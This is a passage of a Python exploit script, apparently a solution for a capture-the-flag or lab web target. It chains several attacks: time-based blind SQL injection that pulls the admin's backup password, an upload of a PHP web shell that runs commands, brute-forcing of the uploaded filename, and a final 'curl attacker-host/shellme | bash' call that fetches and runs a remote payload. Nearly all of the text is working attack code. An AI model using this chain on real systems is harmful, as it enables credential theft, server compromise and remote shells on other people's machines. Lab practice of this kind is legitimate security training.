def _signup(self):
        data = {
            "username":"chev",
            "first_name":"chev",
            "last_name":"chev",
            "email":"[email protected]",
            "password":"test123",
            "confirm_password":"test123"
        }
        r = requests.post(f'http://{self.rhost}:{self.rport}/pages/sign-up.php', data=data, allow_redirects=False)
        self.log(f"Signup status code: {r.status_code}")

    def _login(self, user, password):    
        data = {
            "username":user,        
            "password":password,
            "sign_in": ""
        }
        r = requests.post(f'http://{self.rhost}:{self.rport}/pages/sign-in.php', data=data, allow_redirects=False)
        self.log(f"Signup status code: {r.status_code}")
        return r.cookies.get('PHPSESSID')

    def _sql_find_char(self, session_token):
        result = ''
        # first get the length
        length = 0
        for l in range(1, 100):
            payload = f"IF ((SELECT LENGTH(backup_password) FROM users where username='admin')={l}, sleep(0.8),0)"
            if self._check_true(session_token, payload):
                length = l
                break
        self.log(f"Found length for backup_password: {length}")
        
        # extract char by char using binary search
        for i in range(1, length + 1):
            lo, hi = 32, 126
            while lo < hi:
                mid = (lo + hi) // 2
                payload = f"IF(ASCII(SUBSTRING((SELECT backup_password FROM users where username='admin'),{i},1))>{mid}, SLEEP(0.8), 0)"
                if self._check_true(session_token, payload):
                    lo = mid + 1
                else:
                    hi = mid
            result += chr(lo)
            print(f'\\r[+] password: {result}', end='', flush=True)        
        print()
        return result
            
    def _check_true(self, session_token, payload):
        cookies = {
            "PHPSESSID": session_token
        }        
        start = time.time()
        
        # there is a filter that this cannot contain spaces
        payload = payload.replace(' ', '/**/')        

        r = requests.get(f"http://{self.rhost}:{self.rport}/pages/profile.php?user_id=14&receiver_id={payload}", cookies=cookies)
        end = time.time()    
        return end-start > 1
    
    def _upload_backdoor(self, session_token):
        cookies = {
            "PHPSESSID": session_token
        }
        blu3 = b"""<?php if(isset($_REQUEST['c'])){ echo "<pre>"; system($_REQUEST['c']); die; } ?>"""
        files = {
            'file': ('blu3.php', blu3, 'application/x-php'), 
            'upload': (None, "Upload File")
        }
        r = requests.post(url=f'http://{self.rhost}:{self.rport}/components/admin/file_storage.php', verify=False, files=files, cookies=cookies)
        self.log(f"Upload backdoor: {r.status_code}")
    
    def _guess_file(self, user_id):
        margin_seconds = 2
        upload_time = datetime.now(ZoneInfo("America/Toronto"))

        wordlist = []
        for offset in range(-margin_seconds, margin_seconds + 1):
            t = upload_time + timedelta(seconds=offset)
            date_str = t.strftime("%Y-%m-%d_%H-%M-%S")
            for rand in range(1, 51):
                filename = f"{user_id}_{date_str}_{rand}.php"
                wordlist.append(filename)
        return wordlist

    def _check_file(self, filename):
        url = f"http://{self.rhost}:{self.rport}/uploads/{filename}"
        r = requests.get(url, timeout=5)
        if r.status_code == 200:        
            return url
        return None

    def _find_uploaded_file(self, user_id):
        wordlist = self._guess_file(user_id)
        
        self.log(f"Checking {len(wordlist)} candidates with 10 threads...")

        found = None
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = {executor.submit(self._check_file, f): f for f in wordlist}
            for future in as_completed(futures):
                result = future.result()
                if result:
                    found = result
                    executor.shutdown(wait=False, cancel_futures=True)
                    break

        return found
    
    def _get_local_flag(self, admin_pwd):
        
        session_token = self._login('admin', admin_pwd)
        cookies = {
                "PHPSESSID": session_token
            }
        r = requests.get(f"http://{self.rhost}:{self.rport}/pages/index.php",cookies=cookies)        
        if 'Flag' in r.text:
            flag_match = re.search(r'Flag:\\s+(.*)', r.text)
            if flag_match:
                return flag_match.group(1)
        
        return None

    def _follow(self, session_token):
        cookies = {
            "PHPSESSID": session_token
        }        
        for i in range(1,10):
            data = {
                'receiver_id': i,
                'follow_recomended_user': ''
            }
            r = requests.post(f"http://{self.rhost}:{self.rport}/pages/index.php?category_id=0",cookies=cookies, data=data, proxies=self.proxies)

RCE

 def exploit(self):
        self._signup()
        session_token = self._login('chev', 'test123')

        self._follow(session_token)

        admin_pwd = self._sql_find_char(session_token)        
        
        self.log(f"Admin password: {admin_pwd}")
        
        session_token = self._login('admin', admin_pwd)

        local_txt = self._get_local_flag(admin_pwd)
        self.log(f"local.txt via web login: {local_txt}")

        self._upload_backdoor(session_token)

        user_id = 1
        rce = self._find_uploaded_file(user_id)
        if not rce:
            self.log("File not found, increase margin or check user_id")

        self.log("Triggering RCE")
        requests.get(f'{rce}?c=curl {self.lhost}:{self.http_port}/shellme | bash')